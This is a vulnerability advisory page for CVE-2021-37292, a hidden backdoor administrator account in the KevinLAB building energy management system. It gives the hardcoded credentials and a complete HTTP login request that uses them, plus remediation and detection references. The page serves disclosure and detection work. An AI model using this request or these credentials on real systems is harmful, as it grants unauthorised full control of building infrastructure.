🔙 목록으로 돌아가기

CVE-2021-37292: KevinLAB BEMS (Building Energy Management System) - Backdoor Account

TitleKevinLAB BEMS (Building Energy Management System) - Backdoor Account
Authorgy741
SeverityHigh
ImpactAttackers using hardcoded backdoor credentials (kevinlab/kevin003) can gain full administrative access with highest privileges to KevinLAB BEMS, bypassing all authentication mechanisms.
RemediationRemove the hardcoded backdoor account or upgrade to a patched version of KevinLAB BEMS.
CVSS Score7.2
EPSS Score0.05562
CVE IDCVE-2021-37292
CWE IDNVD-CWE-Other
Tags cve cve2021 kevinlab bems backdoor vuln

🔍 Vulnerability Description

KevinLAB BEMS has an undocumented backdoor account, and these sets of credentials are never exposed to the end-user and cannot be changed through any normal operation of the solution through the RMI. An attacker could exploit this vulnerability by logging in using the backdoor account with highest privileges for administration and gain full system control. The backdoor user cannot be seen in the users settings in the admin panel, and it also uses an undocumented privilege level (admin_pk=1) which allows full availability of the features that the BEMS is offering remotely.

🌐 HTTP Request

POST /http/index.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/19.0 Safari/605.1.15
Connection: close
Content-Length: 395
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip

requester=login&request=login&params=%5B%7B%22name%22%3A%22input_id%22%2C%22value%22%3A%22kevinlab%22%7D%2C%7B%22name%22%3A%22input_passwd%22%2C%22value%22%3A%22kevin003%22%7D%2C%7B%22name%22%3A%22device_key%22%2C%22value%22%3A%22a2fe6b53-e09d-46df-8c9a-e666430e163e%22%7D%2C%7B%22name%22%3A%22auto_login%22%2C%22value%22%3Afalse%7D%2C%7B%22name%22%3A%22login_key%22%2C%22value%22%3A%22%22%7D%5D

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-37292.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-37292.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A